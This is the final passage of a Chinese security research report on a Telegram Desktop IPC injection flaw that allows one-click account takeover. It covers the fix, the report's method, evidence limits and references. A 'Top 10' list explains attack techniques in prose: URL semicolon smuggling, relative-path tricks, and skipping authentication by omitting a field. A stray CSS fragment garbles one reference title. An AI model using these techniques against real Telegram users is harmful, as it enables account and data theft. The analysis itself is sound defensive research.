| 敏感操作确认框 | 补 UI:R 环节 | 弹窗疲劳 | 治标 |
| 整体删除 interpret: ★采纳 | 根治 CWE-862 | 发布脚本需换通道(一次性成本) | 唯一正解 |
官方实际交付 = 删除 + 转义 + 两层纵深——四选二再加保险,这是该补丁值得进教科书的原因。
11.3 AI 辅助在本报告生产中的价值与翻车记录
- • 放大深度:EscapeTo7bit \"为什么连 % 一起转义\"的解码歧义分析、XDG\_ACTIVATION\_TOKEN 补充发现、修复注释的不变量翻译——机器辅助把 diff 读出了三层。
- • 必须人工把关的证据:所有【已核验】项均以官方仓库一手源码为准;披露文行号漂移(453→520 等)由交叉比对发现——引用披露文的行号而不核对源码,报告就会带着别人的偏差。
12. 问题分析、任务拆解、方案迭代与代码交付复盘
本报告生产流水线(可复用模板):
① 对象定性 披露文+PoC链 → 修正审计框架(非工具,是链)
② 一手对证 tdesktop 仓库: 修复提交存在性/作者/日期 → 变更文件清单 → 前后源码逐行比对
③ 机制还原 八层链(OS scheme→IPC序列化→注入→内部scheme→缺鉴权→落盘→密钥包装→交付)
④ OS 映射 Qt 层 → Win32 调用表 + 观测点(Sysmon/ETW/Procmon) —— 全程标注【推断】
⑤ 类型裁定 CWE-147 + CWE-862 双缺陷; CVSS 8.1 逐分量复核(对比上案 8.8 的口径教训)
⑥ 谱系定位 scheme 注入家族 + 遗留功能网络化家族 + tdata 窃取家族 + ATT&CK 映射
⑦ 工程转化 红队链路定位 / 蓝队五检测点 / 四条加固 / 应急剧本 / 12 配方
⑧ 方法沉淀 三对比表(渠道/修复方案/载荷变体) + AI 辅助价值与翻车记录
⑨ 卫生清理 下载物删除(执行记录见文末)
修复 commit 的交付质量点评(代码交付能力视角):diff +126/−372——删的比加的多一倍半,是\"移除危险面\"而非\"加补丁堵漏\";两处防御逻辑(CTRL 门禁、本地路径丢弃)各带完整注释解释为什么存在(不变量陈述),半年后接手的人不需要考古;无测试配套是唯一扣分项(该类 IPC 行为极适合协议级单测)。
13. 骚操作 Top 10(速览收编)
- 1. 一次点击 = 一串命令:分号走私让 URL 从\"一个值\"变\"一个队列\"。
- 2. carrier 技巧:
tg://x?a=1是不触发任何处理器的心跳载体,纯粹为了把OPEN:顶进队列。 - 3. 受害者客户端 = 攻击者的投递器:群组自动下载(≤8MiB、原名、免点击)解决了\"怎么把指令文件放到可预测路径\"这个天问。
- 4. 相对路径免用户名:工作目录=数据目录 →
../../../Downloads把唯一未知量抹掉。 - 5. 省略
from:= 跳过鉴权:可选项成为鉴权旁路——\"默认放行\"式接口设计的反面教材。 - 6. 恒定目录名
D877F783D5D3EF8C:所有安装同一路径,路径预言机 +1。 - 7. 多分号堆叠:InterpretSendPath 一次一文件 → 三个分号叠出三连发,绕开单文件限制。
- 8. https 302 绕过进程内点击处理:利用\"Telegram 无内嵌浏览器\"这个产品事实。
- 9. 静默修复的披露博弈:changelog 只写渲染修复 → 用户提前安全 + 研究者提前拿回披露权。
- 10. 官方修复的自觉:把\"连接里混入外部 URL 和本地路径 = 走私\"写成运行时不变量监控——补丁自带哲学。
14. 证据边界与未决问题
- • 披露原文是链条叙事的唯一来源;本报告独立核验了修复提交/标签/前后源码(§6),未做动态复现——R1-R12 配方交付即用,行为观测值以实测为准。
- • 行号漂移:披露文引用的 sandbox.cpp:453-463 / application.cpp:1162-1164 与修复前快照实测(约 520 / 1233)不一致,代码内容逐字一致——不同版本快照所致,已标注。
- • Windows-only:链路在 Windows 6.9.3 确认【披露】;Linux/macOS 的单实例机制同为 socket 文本协议但路径/自动下载语义不同【未核验】。
- •
XDG_ACTIVATION_TOKEN:记录(base64→环境变量)为本报告独立发现【已核验:修复前源码存在,v7.2.9 未改动】,其实际攻击面未研究——留作后续课题。 - • CVE 细节:CVE-2026-107181 于 2026-10-07 分配【披露】,描述文本未独立获取。
- • CVSS 8.1 为披露文给出的分量组合【披露】,本报告逐分量复核认可。
15. 参考与出处
研究对象
- • BeakSec, Telegram Desktransform: translateY( one-click account takeover via IPC injection, 2026-10-03(CC BY 4.0,本报告引用其叙事与源码摘录均标注【披露】)
官方一手证据(本报告独立核验)
- • https://github.com/telegramdesktop/tdesktop 修复提交
db3405699f8fc3ae28a58d2348b7d13a43c0590a(\"Remove legacy interpret path helper.\",2026-09-16,+126/−372)【已核验】 - • https://github.com/telegramdesktop/tdesktop/tree/v7.2.9 (
EscapeTo7bit/EscapeFrom7bit、externalUrlReceived纵深防御、interpret归零)【已核验】 - • 修复前快照(
db3405699f^):core/sandbox.cpp(分号切割循环/OPEN:8192 截断/XDG_ACTIVATION_TOKEN:)、core/application.cpp(interpret分发)、support/support_helper.cpp:673(InterpretSendPath)【已核验】
关联谱系
- • 自定义协议处理器参数注入类(检索关键词:
custom URL protocol handler argument injection、single-instance IPC injection) - • MITRE ATT&CK:T1566.002 / T1552.001 / T1555 / T1041(本报告映射)
报告完 · 基于公开披露与官方源码的授权研究 · 请勿对未授权系统使用文中任何技术
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论